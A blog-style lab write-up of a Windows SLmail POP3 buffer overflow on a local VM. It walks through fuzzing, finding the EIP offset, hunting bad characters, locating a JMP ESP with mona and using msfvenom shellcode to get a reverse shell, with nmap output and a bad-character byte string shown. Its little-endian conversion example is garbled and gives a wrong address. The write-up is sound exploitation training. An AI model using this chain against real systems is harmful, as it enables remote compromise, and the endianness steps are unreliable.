


BUFFER OVERFLOW (WINDOWS)

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PROFESSIONAL | CYBERSECURITY | MARCH 12, 2024

WHAT HAPPENED?

A buffer exploitation no matter how long is always satisfying to achieve. Ironically, the time and effort make the satisfaction that much more enjoyable. We begin by configuring our Windows VM in a way that will help us monitor the progress of the overflow: we will establish offsets, buffer limits, modify python code to eliminate bad characters, and a slew of other treats.

- Downloaded and configured Windows VM so that SLmail and the debugger are running on the same NAT network as Kali. Check.
- Found the offset of A's used capable of producing the buffer output we desire. Check.
- Removed 3 bad characters that taint the buffer overflow connection. Check.
- Found Windows process using the DLL within Immunity Debugger that is vulnerable and applied little endian to the address and note for the script. Check.
- Crafted shellcode (payload) that will execute buffer overflow now that we've established all bad characters and a DLL susceptible to our attack. Check and check.

Figure 7 holds the echo

PROOF:




Figure 1.

The command above is part of the setup team; `slmgr /rearm` is instructions to the Windows kernel we want to use reset the activation timer. Important so that we can use Windows without having to actually activate it.




Figure 2...




Figure 3.

After installing SLmail and running both that and the debugger as admin from Figures 2 and 3, we attach the SLmail file within the debugger, as shown in Figure 4.

Select process to attach					
PID	Name	Service	Listening	Window	Path
236	smss				C:\SystemRoot\System32\smss.exe
268	GoogleCrash				C:\Program Files\Google\Update\1.3.36.372\GoogleCrashHandler.exe
368	csrss				C:\Windows\System32\csrss.exe
368	cyggrunsrv	OpenSSHd			C:\Program Files\OpenSSH\bin\cyggrunsrv.exe
364	wininit				C:\Windows\System32\wininit.exe
376	csrss				C:\Windows\System32\csrss.exe
416	winlogon				C:\Windows\System32\winlogon.exe
464	services				C:\Windows\System32\services.exe
472	lsass	SanDs			C:\Windows\System32\lsass.exe
480	lsn				C:\Windows\System32\lsn.exe
594	suchost	DcomLaunch, Pl			C:\Windows\System32\suchost.exe
640	UBoxService				C:\Windows\System32\UBoxService.exe
700	suchost	RdpExpHapper, f			C:\Windows\System32\suchost.exe
748	suchost	AudioSrv, Dmcp			C:\Windows\System32\suchost.exe
848	suchost	AudioEndpointM			C:\Windows\System32\suchost.exe
892	suchost	RelookupSvc, R			C:\Windows\System32\suchost.exe
1032	suchost	EventSystem, m			C:\Windows\System32\suchost.exe
1112	slsmtp				C:\Program Files\SLmail\slsmtp.exe
1140	SLadmin	SLadmin			C:\Program Files\SLadmin\SLadmin.exe
1172	Dun			DWM Notification Window	C:\Windows\System32\Dun.exe
1192	suchost	CryptSvc, DnsC			C:\Windows\System32\suchost.exe
1216	Explorer			Task Switching	C:\Windows\Explorer.EXE
1276	conhost				C:\Windows\System32\conhost.exe
1320	sshd				C:\Program Files\OpenSSH\usr\sshd.exe
1380	spoolsv				C:\Windows\System32\spoolsv.exe
1432	taskhost	Spooler		HCI command handling window	C:\Windows\System32\taskhost.exe
1452	suchost	BFE, DPS, HpsS			C:\Windows\System32\suchost.exe
1500	unicovs	unicheartBeat			C:\Windows\System32\unicovs.exe
1580	unicovs	unicvpenchang			C:\Windows\System32\unicovs.exe
1616	unicovs	unicshutdow			C:\Windows\System32\unicovs.exe
1644	unicovs	unicitiesyno			C:\Windows\System32\unicovs.exe
1668	unicovs	unicvss			C:\Windows\System32\unicovs.exe
1704	suchost	DiagTrack			C:\Windows\System32\suchost.exe
1844	wins	WINS			C:\Windows\System32\wins.exe
1916	SLmail	SLmail			C:\Program Files\SLmail\SLmail.exe
1944	UBoxTray			UBoxSharedClipboardClass	C:\Windows\System32\UBoxTray.exe
2148	wniprvse				C:\Windows\System32\wniprvse.exe
2196	sppsvo	sppsvo			C:\Windows\System32\sppsvo.exe
2200	suchost	PolicyAgent			C:\Windows\System32\suchost.exe
2620	SearchIndex	WSearch			C:\Windows\System32\SearchIndexer.exe
3216	suchost	FontCache, SSD			C:\Windows\System32\suchost.exe
3396	suchost	WinDefend			C:\Windows\System32\suchost.exe
3496	rundll32	US		BURP Software POP3 Server	C:\Windows\System32\rundll32.exe
3684	vsoc				C:\Windows\System32\vsoc.exe
3724	suchost	swbrv			C:\Windows\System32\suchost.exe
3824	TrustedInst	TrustedInstall			C:\Windows\servicing\TrustedInstaller.exe
3916	waucit				C:\Windows\System32\waucit.exe

Figure 4...

```

File Actions Edit View Help
bitman@Kalill: ~/Documents/CodingDojo/windowsBOF x bitman@Kalill: ~ x

(bitman@Kalill)~$ nmap -sS 10.0.2.11
You requested a scan type which requires root privileges.
QUITTING!

(bitman@Kalill)~$ sudo nmap -sS 10.0.2.11
[sudo] password for bitman:
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-03-05 05:17 CST
Nmap scan report for 10.0.2.11
Host is up (0.00082s latency).
Not shown: 986 closed tcp ports (reset)
PORT      STATE SERVICE
22/tcp    open  ssh
25/tcp    open  smtp
79/tcp    open  finger
106/tcp   open  pop3pw
110/tcp   open  pop3
135/tcp   open  msrpc
139/tcp   open  netbios-ssn
445/tcp   open  microsoft-ds
49152/tcp open  unknown
49153/tcp open  unknown
49154/tcp open  unknown
49155/tcp open  unknown
49156/tcp open  unknown
49157/tcp open  unknown
MAC Address: 08:00:27:FA:D6:F0 (Oracle VirtualBox virtual NIC)

Nmap done: 1 IP address (1 host up) scanned in 2.73 seconds

(bitman@Kalill)~$

```

Figure 5. Next, I did a discovery scan to find the IP, port, and service running on that port, which in our case we're looking for POP3.




Figure 6. Applied the IP and port to the python script, FuzzerScript.py, and ran it against the Windows machine.




Figure 7. FuzzerScript.py




Figure 11. The script processed with 3000 bytes, which means our EIP should be different now. Let's examine this in Figure 12.




Figure 12.

Great! EIP has changed, which means we've found the EIP that will help run the buffer overflow. Knowing the limit of what the Windows machine's buffer can handle allows us to create an offset capable of reaching said limit.




Figure 13.

So, let's go get that offset why don't we? Remember, in Figure 11 we finished at 3000 bytes, so we apply that limit here; as well as tacking on some B's at the end. This is to filter out the A's and change the EIP to 42424242, which is HEX for the letter "B".




Figure 14.

Our EIP in fact changed to 42424242, and our ESP changed to 41414141 (The filtered A's from before in Figure 8).

*Note: the instructions stated the ESP should change to 41414141, but that value is attached to EBP. For now, let's just continue with the investigation and just treat it as a typo.




Figure 15.

Next, we must find the bad characters; this is accomplished by assigning a “noGood” variable to the string of input from our learn platform, but for reference I have pasted it below. By going back and restarting SLmail and the debugger as administrator. The comment above will keep track of the bad characters; so far: `\x00` is added at 2865 bytes.

Also, after adjusting the script and running it, we want to R click > Dump ESP. By examining the ESP line by line, we can find the exact spot in time when the fuzzing drops off at 2865 bytes. Upon further detail, we can find the bad character lurking about. The `noGood` variable will break at a certain point, meaning that the string wouldn’t match in the ESP dump.

*Note: At each step (screenshot), basically anytime you run `FuzzerScript.py` we’ve downloaded and altered, you want to restart the debugger and SLmail as admin.

`noGood =`

`"\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7`




Figure 19. This command (fmona find -s “\xff\xe4” -m SLMFC.dll) finds arbitrary instructions in DLL. We can just go with the first output.




Figure 20. Now, we copy address to the clipboard and go create shellcode, Figure 21.




Figure 21. We use msfvenom to build the reverse TCP connection we hope to establish with the help of converting the Jmp ESP, 5F4A358F, to little endian like so:

Little Endian Instructions:

- 1) slash between every two characters: \5F4A\35\8F
- 2) now reverse the string but keeping the same order of the character couples: \8F35\4A\5F
- 3) finally, tack on an 'x' after each slash: \x8F\x35\x4A\x8F.




Figure 22. We set our listener and run the finished script.




Figure 23. Not sure of what happened just yet...

<<EDIT: March 15, 2024, 2:40 A.M.>>

If we refer back to Figure 16 on lines 16, 18, and 19 there is a particular function, `str.encode()`, that is encapsulating outgoing messages from the code when the conditions are met. In this case, taking out that function and running the fuzzing script with python2 I believe would fix the problem. (Also, I had to redownload the BOF machine because I accidentally invoked the updates to install, so the IP has changed to 10.0.2.13 from here onward)




Figure 24. As mentioned above, the new BOF machine's IP, 10.0.2.13.




Figure 25.

Since I had to change out the vm I also had to repackage my shellcode with the new IP, so it'll run successfully via the buffer within our fuzzing script to gain the reverse_tcp I am looking for. I also changed the port to 4455, just to keep us honest.




Figure 26. Once I had reconfigured my fuzzing script to the desired specs, I went on to set my listener on port 4455 and ran said script, shown in Figure 27.




Figure 27. RUN!




Figure 28. Should I say it? I think I'll say it... YAHTZEE~! We accomplished a reverse shell by exploiting a buffer

overflow within the target machine. You can examine and see that by running `ipconfig` we get the target's IP address, as exemplified in the `discovery.txt` file off to the right of screenshot. Check and check.